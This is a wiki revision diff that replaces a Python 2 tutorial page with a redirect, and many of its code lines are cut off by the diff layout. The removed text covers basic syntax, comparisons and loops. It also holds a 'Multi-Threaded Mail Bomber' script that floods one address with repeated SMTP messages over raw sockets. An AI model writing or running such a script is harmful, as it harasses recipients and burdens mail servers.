tools:python2
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| tools:python2 [2024/06/03 22:57] – [Python 2] Humphrey Boa-Gart | tools:python2 [2025/10/12 10:55] (current) – Humphrey Boa-Gart | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ====== Python 2 ====== | + | #redirect |
| - | + | ||
| - | // This is the original article from [[anonymous: | + | |
| - | + | ||
| - | Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({..}). | + | |
| - | + | ||
| - | Note: that most *nix distributions come with Python by default. | + | |
| - | + | ||
| - | ===== Basics ===== | + | |
| - | + | ||
| - | //Basic// python syntax | + | |
| - | + | ||
| - | ==== Hello World! ==== | + | |
| - | + | ||
| - | >>> | + | |
| - | HELLO WORLD! | + | |
| - | + | ||
| - | ==== Variables ==== | + | |
| - | + | ||
| - | Variable names DO NOT need to begin with a special character, unlike PHP. Variable names CAN, however, be any combination, | + | |
| - | + | ||
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | [' | + | |
| - | >>> | + | |
| - | ' | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | 3.528 | + | |
| - | >>> | + | |
| - | 3 | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | <type ' | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | <type ' | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | + | ||
| - | ===== Statements ===== | + | |
| - | + | ||
| - | ==== Comparison ==== | + | |
| - | + | ||
| - | < Less than | + | |
| - | > | + | |
| - | == Equal to | + | |
| - | != Not equal | + | |
| - | is Identical | + | |
| - | is not Not identical | + | |
| - | <= Less than or equal to | + | |
| - | >= Greater than or equal to | + | |
| - | + | ||
| - | === If === | + | |
| - | + | ||
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | print " | + | |
| - | + | ||
| - | + | ||
| - | No! | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | print " | + | |
| - | + | ||
| - | + | ||
| - | Yes! | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | print " | + | |
| - | + | ||
| - | + | ||
| - | Yes! | + | |
| - | + | ||
| - | ==== Loops ==== | + | |
| - | + | ||
| - | === While === | + | |
| - | + | ||
| - | >>> | + | |
| - | >>> | + | |
| - | print a | + | |
| - | a += 1; | + | |
| - | + | ||
| - | 1 | + | |
| - | 2 | + | |
| - | 3 | + | |
| - | 4 | + | |
| - | >>> | + | |
| - | >>> | + | |
| - | print " | + | |
| - | a = True; | + | |
| - | + | ||
| - | + | ||
| - | False | + | |
| - | + | ||
| - | === For === | + | |
| - | + | ||
| - | >>> | + | |
| - | print x | + | |
| - | + | ||
| - | + | ||
| - | 0 | + | |
| - | 1 | + | |
| - | 2 | + | |
| - | 3 | + | |
| - | 4 | + | |
| - | 5 | + | |
| - | 6 | + | |
| - | 7 | + | |
| - | 8 | + | |
| - | 9 | + | |
| - | + | ||
| - | //Consider using xrange when dealing with larger lists, as it creates an iterator, rather than constructing the full list in memory.// | + | |
| - | + | ||
| - | >>> | + | |
| - | print x | + | |
| - | + | ||
| - | + | ||
| - | Hello | + | |
| - | world | + | |
| - | ,this | + | |
| - | is | + | |
| - | a | + | |
| - | list | + | |
| - | + | ||
| - | ===== Examples ===== | + | |
| - | + | ||
| - | ==== Multi-Threaded Mail Bomber ==== | + | |
| - | + | ||
| - | < | + | |
| - | #CREATED BY: DUMP | + | |
| - | #MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE. | + | |
| - | #INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS | + | |
| - | import socket, datetime, time, threading; | + | |
| - | class MailGen(): | + | |
| - | def Engine(self, | + | |
| - | self.lf = " | + | |
| - | return "From: \"" | + | |
| - | class MailBomb(threading.Thread): | + | |
| - | def __init__(self, | + | |
| - | self.To = To; | + | |
| - | self.From = From; | + | |
| - | self.Data = Data; | + | |
| - | threading.Thread.__init__ ( self ) | + | |
| - | def run(self): | + | |
| - | print " | + | |
| - | self.lf = " | + | |
| - | self.connection = socket.socket(socket.AF_INET, | + | |
| - | self.connection.connect((self.To[self.To.index(" | + | |
| - | self.connection.send(" | + | |
| - | self.connection.send(" | + | |
| - | self.connection.send(" | + | |
| - | self.connection.send(" | + | |
| - | for line in self.Data: self.connection.send(line); | + | |
| - | self.connection.send(self.lf+self.lf+" | + | |
| - | self.connection.send(" | + | |
| - | address1 = raw_input(" | + | |
| - | address2 = raw_input(" | + | |
| - | data1 = raw_input(" | + | |
| - | data2 = raw_input(" | + | |
| - | generator = MailGen(); | + | |
| - | message = generator.Engine(address1, | + | |
| - | multiply = int(raw_input(" | + | |
| - | lists = [address1]*multiply; | + | |
| - | for a in range(0, multiply, 5): | + | |
| - | for b in range(a, a+5): | + | |
| - | MailBomb(lists[b], | + | |
| - | time.sleep(.50); | + | |
| - | </ | + | |
| - | + | ||
| - | ===== Modules ===== | + | |
| - | + | ||
| - | ==== Scapy ==== | + | |
| - | + | ||
| - | Scapy is a powerful, low-level, networking tool | + | |
| - | + | ||
| - | ==== DPKT ==== | + | |
| - | + | ||
| - | fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols. | + | |
| - | + | ||
| - | ==== Twisted ==== | + | |
| - | + | ||
| - | [[http:// | + | |
| - | + | ||
| - | ==== Tornado Web ==== | + | |
| - | + | ||
| - | [[http:// | + | |
| - | + | ||
| - | ===== Links ===== | + | |
| - | + | ||
| - | [[http:// | + | |
| - | + | ||
| - | [[http:// | + | |
| - | + | ||
| - | + | ||
| - | {{tag> | + | |
tools/python2.1717455443.txt.gz · Last modified: (external edit)
Find this page online at: https://bestpoint.institute/tools/python2
Find this page online at: https://bestpoint.institute/tools/python2